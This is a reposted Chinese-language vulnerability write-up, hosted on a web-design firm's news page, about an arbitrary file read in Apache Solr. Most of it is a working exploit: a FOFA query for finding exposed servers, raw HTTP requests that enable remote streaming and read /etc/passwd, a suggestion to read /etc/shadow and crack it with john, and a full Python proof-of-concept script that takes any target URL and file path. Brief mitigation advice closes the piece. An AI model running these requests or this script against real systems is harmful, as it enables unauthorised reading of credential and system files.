新聞中心
這篇文章主要為大家展示了“web安全中Apache Solr全版本任意文件讀取漏洞分析”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“web安全中Apache Solr全版本任意文件讀取漏洞分析”這篇文章吧。
成都創(chuàng)新互聯(lián)公司主營德興網(wǎng)站建設的網(wǎng)絡公司,主營網(wǎng)站建設方案,成都app開發(fā),德興h5成都微信小程序搭建,德興網(wǎng)站營銷推廣歡迎德興等地區(qū)企業(yè)咨詢
0x01 漏洞說明
Apache Solr 全版本存在任意文件讀取漏洞,攻擊者可以在未授權(quán)的情況下獲取目標系統(tǒng)的敏感文件
0x02 影響版本
全版本
0x03 漏洞復現(xiàn)
fofa搜索標題:app="Solr" || app=""Apache-Solr"
環(huán)境配置
下載Solr進行解壓縮:
https://solr.apache.org/downloads.html #solr下載
進入Solr的bin目錄執(zhí)行命令:
./solr strat
訪問url,出現(xiàn)如下頁面即為啟動成功。
http://192.168.153.7:8983
此時啟動的solr是沒有核心進行索引和搜索的。
./solr create -c# 創(chuàng)建一個數(shù)據(jù)驅(qū)動模式的核心
漏洞復現(xiàn)
訪問url:
http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json
burp數(shù)據(jù)包為:
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
再使用burp進行POST請求:
POST /solr/henry/config HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 84 {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
當出現(xiàn)"This response format is experimental. It is likely to change in the future." 表示存在漏洞。
進行文件讀?。?/p>
POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 35 Content-Type: application/x-www-form-urlencoded stream.url=file:///etc/passwd
也可以讀取shadow文件然后進行john爆破出密碼:
POC腳本:
(PeiQi師傅,永遠的神!)
# coding=utf-8 # Apache Solr 全版本任意文件讀取 # Fofa:app="Apache-Solr" || app="Solr" import requests import json import sys import time def title(): print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") print("+~~~~~~ Apache Solr 全版本任意文件讀取 ~~~~~~+") print("+~~~~~~ Use: python3 solr.py ~~~~~~+") print("+~~~~~~ url: http://x.x.x.x:port ~~~~~~+") print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") time.sleep(2) def get_name(url): url_1 = url + "/solr/admin/cores?indexInfo=false&wt=json" try: res = requests.get(url=url_1) #將json數(shù)據(jù)python字典話 name = str(list(json.loads(res.text)["status"])[0]) print("[!] 獲取到目標系統(tǒng)name:\033[31m%s\033[0m"%name+" [0]"+"URL:"+url+"/solr/"+name+"/config") return name except Exception as e: print("[!] 目標URL無法進行利用。",e) sys.exit(0) def check_vul(url,name): url_2 = url +"/solr/" + name + "/config" data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: res = requests.post(url=url_2,data=data) if "This response format" in res.text and res.status_code == 200: print("[!] \033[31m目標系統(tǒng)存在漏洞\033[0m") else: print("[!] 目標系統(tǒng)不存在漏洞") sys.exit(0) except Exception as e: print("[!] 目標系統(tǒng)請求失敗") sys.exit(0) def read_files(url,name,file_name): url = url + "/solr/" + name + "/debug/dump?param=ContentStreams" # 此處必須要加content-type,否則讀取不到文件 headers = { "Content-Type" : "application/x-www-form-urlencoded" } data = "stream.url=file://{}".format(file_name) try: res = requests.post(url=url,headers=headers,data=data) if "No such file or directory" in res.text: print("[!] 目標系統(tǒng)讀取文件失敗!") sys.exit(0) else: print("正在讀取文件..........") content = (json.loads(res.text)["streams"][0]["stream"]) print("[o] 讀取文件內(nèi)容為:\n\033[34m{}\033\0m".format(content)) except Exception as e: print("[!] 目標系統(tǒng)似乎意外中斷了",e) sys.exit(0) if __name__ == "__main__": title() url = str(input("\n[!] 請輸入目標系統(tǒng)URL: ")) name = get_name(url) check_vul(url,name) file_name = str(input("[!] 請輸入要讀取的文件:")) read_files(url,name,file_name)
0x04 修復建議
由于目前官方不予修復該漏洞,暫無安全版本。
1. 開啟身份驗證/授權(quán)
2. 配置防火墻策略,確保Solr API(包括Admin UI)只有受信任的IP和用戶才能訪問
3.禁止將Apache Solr放置在外網(wǎng)
以上是“web安全中Apache Solr全版本任意文件讀取漏洞分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
新聞名稱:web安全中ApacheSolr全版本任意文件讀取漏洞分析
網(wǎng)站路徑:http://www.dlmjj.cn/article/ppcpph.html